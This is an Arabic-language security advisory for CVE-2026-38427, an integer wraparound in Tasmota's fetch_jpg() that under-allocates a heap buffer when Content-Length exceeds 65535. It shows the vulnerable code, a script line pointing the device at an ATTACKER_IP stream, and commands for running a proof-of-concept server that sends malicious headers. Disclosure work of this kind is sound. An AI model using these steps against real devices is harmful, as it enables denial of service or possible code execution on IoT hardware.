
CVE-2026-38427 — التفاف الأعداد الصحيحة يؤدي إلى تجاوز سعة المخزن المؤقت في الكومة في Tasmota في الدالة fetch_jpg() من النوع uint16_t (Tasmota <= 15.3.0.3)
CVE: CVE-2026-38427
الخطورة: حرجة (CVSS 9.8)
المنتج: Arendst Tasmota
الإصدار المتأثر: <= 15.3.0.3
الملف: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
الدالة: fetch_jpg() — الحالة 2 (جلب إطار MJPEG)
المؤلف: Saidakbarxon Maxsudxonov
الإفصاح: إفصاح مسؤول — تم الإبلاغ إلى Tasmota قبل النشر
توجد ثغرة التفاف عدد صحيح من نوع uint16_t في الدالة fetch_jpg() في مشغّل السكربت في Tasmota. عندما يجلب جهاز Tasmota إطارات MJPEG من خادم يتحكم به المهاجم، تُقرأ قيمة رأس Content-Length في متغير من نوع uint16_t عبر atoi(). القيم الأكبر من 65535 تلتف بصمت (مثل 65537 → 1)، مما يؤدي إلى تخصيص مخزن مؤقت في الكومة أصغر بكثير من المطلوب. يقرأ الجهاز بعدها فقط عدد البايتات الملتفة من الدفق، تاركًا البقية في مخزن الدفق، مما يسبب إفسادًا لحالة الكومة/الدفق يؤدي إلى انهيار (DoS) أو احتمال تنفيذ تعليمات برمجية عن بُعد.
// tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
// Case 2: fetch next MJPEG frame
char inbuff[64];
stream.readBytesUntil('\n', inbuff, sizeof(inbuff)); // reads "Content-Length: 70000"
char *cp = strchr(inbuff, ':');
uint16_t size = 0;
if (cp) {
size = atoi(cp + 1); // atoi() returns int 70000
// IMPLICIT TRUNCATION: uint16_t = 70000 & 0xFFFF = 4464
}
uint8_t *buff = (uint8_t *)special_malloc(size); // malloc(4464) — too small!
if (buff) {
stream.readBytes(buff, size); // reads only 4464 bytes
// 65536 bytes remain in stream → corruption
}
المهاجم الذي يمكنه جعل جهاز Tasmota يتصل بخادم HTTP الخاص به (عبر سكربت Tasmota خبيث أو هجوم رجل في المنتصف) يمكنه إرسال إطارات MJPEG بقيم Content-Length تتجاوز 65535. سيقوم الجهاز بما يلي:
الاستدعاء عبر سكربت Tasmota:
>D
>B
fetchjp(ATTACKER_IP:PORT/stream,0,0,1)
>1
=fetchjp(2,0,0,1)
يقوم إثبات المفهوم بتشغيل خادم HTTP لإطارات MJPEG مزيفة يرسل إطارات بقيم Content-Length خبيثة:
python3 CVE-2026-38427_poc.py --port 8889 --cl 65537
python3 CVE-2026-38427_poc.py --port 8889 --cl 131072
انظر CVE-2026-38427_poc.py للتنفيذ الكامل.
| قيمة Content-Length (الرأس) | قيمة uint16_t | المخزن المؤقت المخصص | البايتات غير المقروءة |
|---|
| 65536 | 0 | 0 (تم تخطيه) | 65536 |
| 65537 | 1 | 1 بايت | 65536 |
| 70000 | 4464 | 4464 بايت | 65536 |
| 131072 | 0 | 0 (تم تخطيه) | 131072 |